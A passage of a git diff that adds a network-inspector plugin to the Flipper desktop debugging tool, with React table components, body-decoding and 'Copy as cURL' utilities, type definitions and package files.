||||
};
|
||||
|
||||
const COLUMN_SIZE = {
|
||||
requestTimestamp: 100,
|
||||
responseTimestamp: 100,
|
||||
domain: 'flex',
|
||||
method: 100,
|
||||
status: 70,
|
||||
size: 100,
|
||||
duration: 100,
|
||||
};
|
||||
|
||||
const COLUMN_ORDER = [
|
||||
{key: 'requestTimestamp', visible: true},
|
||||
{key: 'responseTimestamp', visible: false},
|
||||
{key: 'domain', visible: true},
|
||||
{key: 'method', visible: true},
|
||||
{key: 'status', visible: true},
|
||||
{key: 'size', visible: true},
|
||||
{key: 'duration', visible: true},
|
||||
];
|
||||
|
||||
const COLUMNS = {
|
||||
requestTimestamp: {value: 'Request Time'},
|
||||
responseTimestamp: {value: 'Response Time'},
|
||||
domain: {value: 'Domain'},
|
||||
method: {value: 'Method'},
|
||||
status: {value: 'Status'},
|
||||
size: {value: 'Size'},
|
||||
duration: {value: 'Duration'},
|
||||
};
|
||||
|
||||
export function formatBytes(count: number): string {
|
||||
if (count > 1024 * 1024) {
|
||||
return (count / (1024.0 * 1024)).toFixed(1) + ' MB';
|
||||
}
|
||||
if (count > 1024) {
|
||||
return (count / 1024.0).toFixed(1) + ' kB';
|
||||
}
|
||||
return count + ' B';
|
||||
}
|
||||
|
||||
const TextEllipsis = styled(Text)({
|
||||
overflowX: 'hidden',
|
||||
textOverflow: 'ellipsis',
|
||||
maxWidth: '100%',
|
||||
lineHeight: '18px',
|
||||
paddingTop: 4,
|
||||
});
|
||||
|
||||
export default class extends FlipperPlugin<State, any, PersistedState> {
|
||||
static keyboardActions: Array<DefaultKeyboardAction> = ['clear'];
|
||||
static subscribed = [];
|
||||
static defaultPersistedState = {
|
||||
requests: new Map(),
|
||||
responses: new Map(),
|
||||
};
|
||||
|
||||
static metricsReducer(persistedState: PersistedState) {
|
||||
const failures = Object.values(persistedState.responses).reduce(function(
|
||||
previous,
|
||||
values,
|
||||
) {
|
||||
return previous + (values.status >= 400 ? 1 : 0);
|
||||
},
|
||||
0);
|
||||
return Promise.resolve({NUMBER_NETWORK_FAILURES: failures});
|
||||
}
|
||||
|
||||
static persistedStateReducer(
|
||||
persistedState: PersistedState,
|
||||
method: string,
|
||||
data: Request | Response,
|
||||
) {
|
||||
switch (method) {
|
||||
case 'newRequest':
|
||||
return Object.assign({}, persistedState, {
|
||||
requests: {...persistedState.requests, [data.id]: data as Request},
|
||||
});
|
||||
case 'newResponse':
|
||||
return Object.assign({}, persistedState, {
|
||||
responses: {...persistedState.responses, [data.id]: data as Response},
|
||||
});
|
||||
default:
|
||||
return persistedState;
|
||||
}
|
||||
}
|
||||
|
||||
static serializePersistedState = (persistedState: PersistedState) => {
|
||||
return Promise.resolve(JSON.stringify(persistedState));
|
||||
};
|
||||
|
||||
static deserializePersistedState = (serializedString: string) => {
|
||||
return JSON.parse(serializedString);
|
||||
};
|
||||
|
||||
static getActiveNotifications(persistedState: PersistedState) {
|
||||
const responses = persistedState
|
||||
? persistedState.responses || new Map()
|
||||
: new Map();
|
||||
const r: Array<Response> = Object.values(responses);
|
||||
return (
|
||||
r
|
||||
// Show error messages for all status codes indicating a client or server error
|
||||
.filter((response: Response) => response.status >= 400)
|
||||
.map((response: Response) => {
|
||||
const request = persistedState.requests[response.id];
|
||||
const url: string = (request && request.url) || '(URL missing)';
|
||||
return {
|
||||
id: response.id,
|
||||
title: `HTTP ${response.status}: Network request failed`,
|
||||
message: `Request to ${url} failed. ${response.reason}`,
|
||||
severity: 'error' as 'error',
|
||||
timestamp: response.timestamp,
|
||||
category: `HTTP${response.status}`,
|
||||
action: response.id,
|
||||
};
|
||||
})
|
||||
);
|
||||
}
|
||||
|
||||
onKeyboardAction = (action: string) => {
|
||||
if (action === 'clear') {
|
||||
this.clearLogs();
|
||||
}
|
||||
};
|
||||
|
||||
parseDeepLinkPayload = (deepLinkPayload: string | null) => {
|
||||
const searchTermDelim = 'searchTerm=';
|
||||
if (deepLinkPayload === null) {
|
||||
return {
|
||||
selectedIds: [],
|
||||
searchTerm: '',
|
||||
};
|
||||
} else if (deepLinkPayload.startsWith(searchTermDelim)) {
|
||||
return {
|
||||
selectedIds: [],
|
||||
searchTerm: deepLinkPayload.slice(searchTermDelim.length),
|
||||
};
|
||||
}
|
||||
return {
|
||||
selectedIds: [deepLinkPayload],
|
||||
searchTerm: '',
|
||||
};
|
||||
};
|
||||
|
||||
state = this.parseDeepLinkPayload(this.props.deepLinkPayload);
|
||||
|
||||
onRowHighlighted = (selectedIds: Array<RequestId>) =>
|
||||
this.setState({selectedIds});
|
||||
|
||||
copyRequestCurlCommand = () => {
|
||||
const {requests} = this.props.persistedState;
|
||||
const {selectedIds} = this.state;
|
||||
// Ensure there is only one row highlighted.
|
||||
if (selectedIds.length !== 1) {
|
||||
return;
|
||||
}
|
||||
|
||||
const request = requests[selectedIds[0]];
|
||||
if (!request) {
|
||||
return;
|
||||
}
|
||||
const command = convertRequestToCurlCommand(request);
|
||||
clipboard.writeText(command);
|
||||
};
|
||||
|
||||
clearLogs = () => {
|
||||
this.setState({selectedIds: []});
|
||||
this.props.setPersistedState({responses: {}, requests: {}});
|
||||
};
|
||||
|
||||
renderSidebar = () => {
|
||||
const {requests, responses} = this.props.persistedState;
|
||||
const {selectedIds} = this.state;
|
||||
const selectedId = selectedIds.length === 1 ? selectedIds[0] : null;
|
||||
|
||||
if (!selectedId) {
|
||||
return null;
|
||||
}
|
||||
const requestWithId = requests[selectedId];
|
||||
if (!requestWithId) {
|
||||
return null;
|
||||
}
|
||||
return (
|
||||
<RequestDetails
|
||||
key={selectedId}
|
||||
request={requestWithId}
|
||||
response={responses[selectedId]}
|
||||
/>
|
||||
);
|
||||
};
|
||||
|
||||
render() {
|
||||
const {requests, responses} = this.props.persistedState;
|
||||
|
||||
return (
|
||||
<FlexColumn grow={true}>
|
||||
<NetworkTable
|
||||
requests={requests || {}}
|
||||
responses={responses || {}}
|
||||
clear={this.clearLogs}
|
||||
copyRequestCurlCommand={this.copyRequestCurlCommand}
|
||||
onRowHighlighted={this.onRowHighlighted}
|
||||
highlightedRows={
|
||||
this.state.selectedIds ? new Set(this.state.selectedIds) : null
|
||||
}
|
||||
searchTerm={this.state.searchTerm}
|
||||
/>
|
||||
<DetailSidebar width={500}>{this.renderSidebar()}</DetailSidebar>
|
||||
</FlexColumn>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
type NetworkTableProps = {
|
||||
requests: {[id: string]: Request};
|
||||
responses: {[id: string]: Response};
|
||||
clear: () => void;
|
||||
copyRequestCurlCommand: () => void;
|
||||
onRowHighlighted: (keys: TableHighlightedRows) => void;
|
||||
highlightedRows: Set<string> | null | undefined;
|
||||
searchTerm: string;
|
||||
};
|
||||
|
||||
type NetworkTableState = {
|
||||
sortedRows: TableRows;
|
||||
};
|
||||
|
||||
function formatTimestamp(timestamp: number): string {
|
||||
const date = new Date(timestamp);
|
||||
return `${padStart(date.getHours().toString(), 2, '0')}:${padStart(
|
||||
date.getMinutes().toString(),
|
||||
2,
|
||||
'0',
|
||||
)}:${padStart(date.getSeconds().toString(), 2, '0')}.${padStart(
|
||||
date.getMilliseconds().toString(),
|
||||
3,
|
||||
'0',
|
||||
)}`;
|
||||
}
|
||||
|
||||
function buildRow(
|
||||
request: Request,
|
||||
response: Response | null | undefined,
|
||||
): TableBodyRow | null | undefined {
|
||||
if (request == null) {
|
||||
return null;
|
||||
}
|
||||
const url = new URL(request.url);
|
||||
const domain = url.host + url.pathname;
|
||||
const friendlyName = getHeaderValue(request.headers, 'X-FB-Friendly-Name');
|
||||
|
||||
let copyText = `# HTTP request for ${domain} (ID: ${request.id})
|
||||
## Request
|
||||
HTTP ${request.method} ${request.url}
|
||||
${request.headers
|
||||
.map(
|
||||
({key, value}: {key: string; value: string}): string =>
|
||||
`${key}: ${String(value)}`,
|
||||
)
|
||||
.join('\n')}`;
|
||||
|
||||
const requestData = request.data ? decodeBody(request) : null;
|
||||
const responseData = response && response.data ? decodeBody(response) : null;
|
||||
|
||||
if (requestData) {
|
||||
copyText += `\n\n${requestData}`;
|
||||
}
|
||||
|
||||
if (response) {
|
||||
copyText += `
|
||||
|
||||
## Response
|
||||
HTTP ${response.status} ${response.reason}
|
||||
${response.headers
|
||||
.map(
|
||||
({key, value}: {key: string; value: string}): string =>
|
||||
`${key}: ${String(value)}`,
|
||||
)
|
||||
.join('\n')}`;
|
||||
}
|
||||
|
||||
if (responseData) {
|
||||
copyText += `\n\n${responseData}`;
|
||||
}
|
||||
|
||||
return {
|
||||
columns: {
|
||||
requestTimestamp: {
|
||||
value: (
|
||||
<TextEllipsis>{formatTimestamp(request.timestamp)}</TextEllipsis>
|
||||
),
|
||||
},
|
||||
responseTimestamp: {
|
||||
value: (
|
||||
<TextEllipsis>
|
||||
{response && formatTimestamp(response.timestamp)}
|
||||
</TextEllipsis>
|
||||
),
|
||||
},
|
||||
domain: {
|
||||
value: (
|
||||
<TextEllipsis>{friendlyName ? friendlyName : domain}</TextEllipsis>
|
||||
),
|
||||
isFilterable: true,
|
||||
},
|
||||
method: {
|
||||
value: <TextEllipsis>{request.method}</TextEllipsis>,
|
||||
isFilterable: true,
|
||||
},
|
||||
status: {
|
||||
value: (
|
||||
<StatusColumn>{response ? response.status : undefined}</StatusColumn>
|
||||
),
|
||||
isFilterable: true,
|
||||
},
|
||||
size: {
|
||||
value: <SizeColumn response={response ? response : undefined} />,
|
||||
},
|
||||
duration: {
|
||||
value: <DurationColumn request={request} response={response} />,
|
||||
},
|
||||
},
|
||||
key: request.id,
|
||||
filterValue: `${request.method} ${request.url}`,
|
||||
sortKey: request.timestamp,
|
||||
copyText,
|
||||
highlightOnHover: true,
|
||||
requestBody: requestData,
|
||||
responseBody: responseData,
|
||||
};
|
||||
}
|
||||
|
||||
function calculateState(
|
||||
props: {
|
||||
requests: {[id: string]: Request};
|
||||
responses: {[id: string]: Response};
|
||||
},
|
||||
nextProps: NetworkTableProps,
|
||||
rows: TableRows = [],
|
||||
): NetworkTableState {
|
||||
rows = [...rows];
|
||||
|
||||
if (Object.keys(nextProps.requests).length === 0) {
|
||||
// cleared
|
||||
rows = [];
|
||||
} else if (props.requests !== nextProps.requests) {
|
||||
// new request
|
||||
for (const [requestId, request] of Object.entries(nextProps.requests)) {
|
||||
if (props.requests[requestId] == null) {
|
||||
const newRow = buildRow(request, nextProps.responses[requestId]);
|
||||
if (newRow) {
|
||||
rows.push(newRow);
|
||||
}
|
||||
}
|
||||
}
|
||||
} else if (props.responses !== nextProps.responses) {
|
||||
// new or updated response
|
||||
const resId = Object.keys(nextProps.responses).find(
|
||||
(responseId: RequestId) =>
|
||||
props.responses[responseId] !== nextProps.responses[responseId],
|
||||
);
|
||||
if (resId) {
|
||||
const request = nextProps.requests[resId];
|
||||
// sanity check; to pass null check
|
||||
if (request) {
|
||||
const newRow = buildRow(request, nextProps.responses[resId]);
|
||||
const index = rows.findIndex((r: TableBodyRow) => r.key === request.id);
|
||||
if (index > -1 && newRow) {
|
||||
rows[index] = newRow;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
rows.sort(
|
||||
(a: TableBodyRow, b: TableBodyRow) =>
|
||||
(a.sortKey as number) - (b.sortKey as number),
|
||||
);
|
||||
|
||||
return {
|
||||
sortedRows: rows,
|
||||
};
|
||||
}
|
||||
|
||||
class NetworkTable extends PureComponent<NetworkTableProps, NetworkTableState> {
|
||||
static ContextMenu = styled(ContextMenu)({
|
||||
flex: 1,
|
||||
});
|
||||
|
||||
constructor(props: NetworkTableProps) {
|
||||
super(props);
|
||||
this.state = calculateState(
|
||||
{
|
||||
requests: {},
|
||||
responses: {},
|
||||
},
|
||||
props,
|
||||
);
|
||||
}
|
||||
|
||||
UNSAFE_componentWillReceiveProps(nextProps: NetworkTableProps) {
|
||||
this.setState(calculateState(this.props, nextProps, this.state.sortedRows));
|
||||
}
|
||||
|
||||
contextMenuItems(): Array<MenuItemConstructorOptions> {
|
||||
type ContextMenuType =
|
||||
| 'normal'
|
||||
| 'separator'
|
||||
| 'submenu'
|
||||
| 'checkbox'
|
||||
| 'radio';
|
||||
const separator: ContextMenuType = 'separator';
|
||||
const {clear, copyRequestCurlCommand, highlightedRows} = this.props;
|
||||
const highlightedMenuItems =
|
||||
highlightedRows && highlightedRows.size === 1
|
||||
? [
|
||||
{
|
||||
type: separator,
|
||||
},
|
||||
{
|
||||
label: 'Copy as cURL',
|
||||
click: copyRequestCurlCommand,
|
||||
},
|
||||
]
|
||||
: [];
|
||||
|
||||
return highlightedMenuItems.concat([
|
||||
{
|
||||
type: separator,
|
||||
},
|
||||
{
|
||||
label: 'Clear all',
|
||||
click: clear,
|
||||
},
|
||||
]);
|
||||
}
|
||||
|
||||
render() {
|
||||
return (
|
||||
<NetworkTable.ContextMenu
|
||||
items={this.contextMenuItems()}
|
||||
component={FlexColumn}>
|
||||
<SearchableTable
|
||||
virtual={true}
|
||||
multiline={false}
|
||||
multiHighlight={true}
|
||||
stickyBottom={true}
|
||||
floating={false}
|
||||
columnSizes={COLUMN_SIZE}
|
||||
columns={COLUMNS}
|
||||
columnOrder={COLUMN_ORDER}
|
||||
rows={this.state.sortedRows}
|
||||
onRowHighlighted={this.props.onRowHighlighted}
|
||||
highlightedRows={this.props.highlightedRows}
|
||||
rowLineHeight={26}
|
||||
allowRegexSearch={true}
|
||||
allowBodySearch={true}
|
||||
zebra={false}
|
||||
actions={<Button onClick={this.props.clear}>Clear Table</Button>}
|
||||
clearSearchTerm={this.props.searchTerm !== ''}
|
||||
defaultSearchTerm={this.props.searchTerm}
|
||||
/>
|
||||
</NetworkTable.ContextMenu>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
const Icon = styled(Glyph)({
|
||||
marginTop: -3,
|
||||
marginRight: 3,
|
||||
});
|
||||
|
||||
class StatusColumn extends PureComponent<{
|
||||
children?: number;
|
||||
}> {
|
||||
render() {
|
||||
const {children} = this.props;
|
||||
let glyph;
|
||||
|
||||
if (children != null && children >= 400 && children < 600) {
|
||||
glyph = <Icon name="stop" color={colors.red} />;
|
||||
}
|
||||
|
||||
return (
|
||||
<TextEllipsis>
|
||||
{glyph}
|
||||
{children}
|
||||
</TextEllipsis>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class DurationColumn extends PureComponent<{
|
||||
request: Request;
|
||||
response: Response | null | undefined;
|
||||
}> {
|
||||
static Text = styled(Text)({
|
||||
flex: 1,
|
||||
textAlign: 'right',
|
||||
paddingRight: 10,
|
||||
});
|
||||
|
||||
render() {
|
||||
const {request, response} = this.props;
|
||||
const duration = response
|
||||
? response.timestamp - request.timestamp
|
||||
: undefined;
|
||||
return (
|
||||
<DurationColumn.Text selectable={false}>
|
||||
{duration != null ? duration.toLocaleString() + 'ms' : ''}
|
||||
</DurationColumn.Text>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class SizeColumn extends PureComponent<{
|
||||
response: Response | null | undefined;
|
||||
}> {
|
||||
static Text = styled(Text)({
|
||||
flex: 1,
|
||||
textAlign: 'right',
|
||||
paddingRight: 10,
|
||||
});
|
||||
|
||||
render() {
|
||||
const {response} = this.props;
|
||||
if (response) {
|
||||
const text = formatBytes(this.getResponseLength(response));
|
||||
return <SizeColumn.Text>{text}</SizeColumn.Text>;
|
||||
} else {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
getResponseLength(response: Response | null | undefined) {
|
||||
if (!response) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
let length = 0;
|
||||
const lengthString = response.headers
|
||||
? getHeaderValue(response.headers, 'content-length')
|
||||
: undefined;
|
||||
if (lengthString != null && lengthString != '') {
|
||||
length = parseInt(lengthString, 10);
|
||||
} else if (response.data) {
|
||||
length = Buffer.byteLength(response.data, 'base64');
|
||||
}
|
||||
return length;
|
||||
}
|
||||
}
|
||||
19
desktop/plugins/network/package.json
Normal file
19
desktop/plugins/network/package.json
Normal file
@@ -0,0 +1,19 @@
|
||||
{
|
||||
"name": "Network",
|
||||
"version": "1.0.0",
|
||||
"main": "index.tsx",
|
||||
"license": "MIT",
|
||||
"keywords": ["flipper-plugin"],
|
||||
"dependencies": {
|
||||
"pako": "^1.0.11",
|
||||
"@types/pako": "^1.0.1",
|
||||
"xml-beautifier": "^0.4.0",
|
||||
"lodash": "^4.17.11"
|
||||
},
|
||||
"icon": "internet",
|
||||
"title": "Network",
|
||||
"bugs": {
|
||||
"email": "oncall+flipper@xmail.facebook.com",
|
||||
"url": "https://fb.workplace.com/groups/flippersupport/"
|
||||
}
|
||||
}
|
||||
55
desktop/plugins/network/types.tsx
Normal file
55
desktop/plugins/network/types.tsx
Normal file
@@ -0,0 +1,55 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
export type RequestId = string;
|
||||
|
||||
export type Request = {
|
||||
id: RequestId;
|
||||
timestamp: number;
|
||||
method: string;
|
||||
url: string;
|
||||
headers: Array<Header>;
|
||||
data: string | null | undefined;
|
||||
};
|
||||
|
||||
export type Response = {
|
||||
id: RequestId;
|
||||
timestamp: number;
|
||||
status: number;
|
||||
reason: string;
|
||||
headers: Array<Header>;
|
||||
data: string | null | undefined;
|
||||
insights: Insights | null | undefined;
|
||||
};
|
||||
|
||||
export type Header = {
|
||||
key: string;
|
||||
value: string;
|
||||
};
|
||||
|
||||
export type RetryInsights = {
|
||||
count: number;
|
||||
limit: number;
|
||||
timeSpent: number;
|
||||
};
|
||||
|
||||
export type Insights = {
|
||||
dnsLookupTime: number | null | undefined;
|
||||
connectTime: number | null | undefined;
|
||||
sslHandshakeTime: number | null | undefined;
|
||||
preTransferTime: number | null | undefined;
|
||||
redirectsTime: number | null | undefined;
|
||||
timeToFirstByte: number | null | undefined;
|
||||
transferTime: number | null | undefined;
|
||||
postProcessingTime: number | null | undefined;
|
||||
// Amount of transferred data can be different from total size of payload.
|
||||
bytesTransfered: number | null | undefined;
|
||||
transferSpeed: number | null | undefined;
|
||||
retries: RetryInsights | null | undefined;
|
||||
};
|
||||
103
desktop/plugins/network/utils.tsx
Normal file
103
desktop/plugins/network/utils.tsx
Normal file
@@ -0,0 +1,103 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import pako from 'pako';
|
||||
import {Request, Response, Header} from './types';
|
||||
|
||||
export function getHeaderValue(headers: Array<Header>, key: string): string {
|
||||
for (const header of headers) {
|
||||
if (header.key.toLowerCase() === key.toLowerCase()) {
|
||||
return header.value;
|
||||
}
|
||||
}
|
||||
return '';
|
||||
}
|
||||
|
||||
export function decodeBody(container: Request | Response): string {
|
||||
if (!container.data) {
|
||||
return '';
|
||||
}
|
||||
|
||||
const b64Decoded = atob(container.data);
|
||||
try {
|
||||
if (getHeaderValue(container.headers, 'Content-Encoding') === 'gzip') {
|
||||
// for gzip, use pako to decompress directly to unicode string
|
||||
return decompress(b64Decoded);
|
||||
}
|
||||
|
||||
// Data is transferred as base64 encoded bytes to support unicode characters,
|
||||
// we need to decode the bytes here to display the correct unicode characters.
|
||||
return decodeURIComponent(escape(b64Decoded));
|
||||
} catch (e) {
|
||||
console.warn('Discarding malformed body:', escape(b64Decoded));
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
function decompress(body: string): string {
|
||||
const charArray = body.split('').map(x => x.charCodeAt(0));
|
||||
|
||||
const byteArray = new Uint8Array(charArray);
|
||||
|
||||
try {
|
||||
if (body) {
|
||||
return pako.inflate(byteArray, {to: 'string'});
|
||||
} else {
|
||||
return body;
|
||||
}
|
||||
} catch (e) {
|
||||
// Sometimes Content-Encoding is 'gzip' but the body is already decompressed.
|
||||
// Assume this is the case when decompression fails.
|
||||
}
|
||||
|
||||
return body;
|
||||
}
|
||||
|
||||
export function convertRequestToCurlCommand(request: Request): string {
|
||||
let command: string = `curl -v -X ${request.method}`;
|
||||
command += ` ${escapedString(request.url)}`;
|
||||
// Add headers
|
||||
request.headers.forEach((header: Header) => {
|
||||
const headerStr = `${header.key}: ${header.value}`;
|
||||
command += ` -H ${escapedString(headerStr)}`;
|
||||
});
|
||||
// Add body
|
||||
const body = decodeBody(request);
|
||||
if (body) {
|
||||
command += ` -d ${escapedString(body)}`;
|
||||
}
|
||||
return command;
|
||||
}
|
||||
|
||||
function escapeCharacter(x: string) {
|
||||
const code = x.charCodeAt(0);
|
||||
return code < 16 ? '\\u0' + code.toString(16) : '\\u' + code.toString(16);
|
||||
}
|
||||
|
||||
const needsEscapingRegex = /[\u0000-\u001f\u007f-\u009f!]/g;
|
||||
|
||||
// Escape util function, inspired by Google DevTools. Works only for POSIX
|
||||
// based systems.
|
||||
function escapedString(str: string) {
|
||||
if (needsEscapingRegex.test(str) || str.includes("'")) {
|
||||
return (
|
||||
"$'" +
|
||||
str
|
||||
.replace(/\\/g, '\\\\')
|
||||
.replace(/\'/g, "\\'")
|
||||
.replace(/\n/g, '\\n')
|
||||
.replace(/\r/g, '\\r')
|
||||
.replace(needsEscapingRegex, escapeCharacter) +
|
||||
"'"
|
||||
);
|
||||
}
|
||||
|
||||
// Simply use singly quoted string.
|
||||
return "'" + str + "'";
|
||||
}
|
||||
30
desktop/plugins/network/yarn.lock
Normal file
30
desktop/plugins/network/yarn.lock
Normal file
@@ -0,0 +1,30 @@
|
||||
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
|
||||
# yarn lockfile v1
|
||||
|
||||
|
||||
"@types/pako@^1.0.1":
|
||||
version "1.0.1"
|
||||
resolved "https://registry.yarnpkg.com/@types/pako/-/pako-1.0.1.tgz#33b237f3c9aff44d0f82fe63acffa4a365ef4a61"
|
||||
integrity sha512-GdZbRSJ3Cv5fiwT6I0SQ3ckeN2PWNqxd26W9Z2fCK1tGrrasGy4puvNFtnddqH9UJFMQYXxEuuB7B8UK+LLwSg==
|
||||
|
||||
lodash@^4.17.11:
|
||||
version "4.17.15"
|
||||
resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.15.tgz#b447f6670a0455bbfeedd11392eff330ea097548"
|
||||
integrity sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==
|
||||
|
||||
pako@^1.0.11:
|
||||
version "1.0.11"
|
||||
resolved "https://registry.yarnpkg.com/pako/-/pako-1.0.11.tgz#6c9599d340d54dfd3946380252a35705a6b992bf"
|
||||
integrity sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==
|
||||
|
||||
repeat-string@1.6.1:
|
||||
version "1.6.1"
|
||||
resolved "https://registry.yarnpkg.com/repeat-string/-/repeat-string-1.6.1.tgz#8dcae470e1c88abc2d600fff4a776286da75e637"
|
||||
integrity sha1-jcrkcOHIirwtYA//Sndihtp15jc=
|
||||
|
||||
xml-beautifier@^0.4.0:
|
||||
version "0.4.2"
|
||||
resolved "https://registry.yarnpkg.com/xml-beautifier/-/xml-beautifier-0.4.2.tgz#d889df69b46a6ed1ab46fbe022930da83bf40f7c"
|
||||
integrity sha512-LBZ3bLvo3FZIN9nBjxUpi70L1nGDOzTaLQm8eNyi0nyr8uUV2YLg0C2DSihc3OahcgWQoQ83ZTm0RErKuRrJYQ==
|
||||
dependencies:
|
||||
repeat-string "1.6.1"
|
||||
Reference in New Issue
Block a user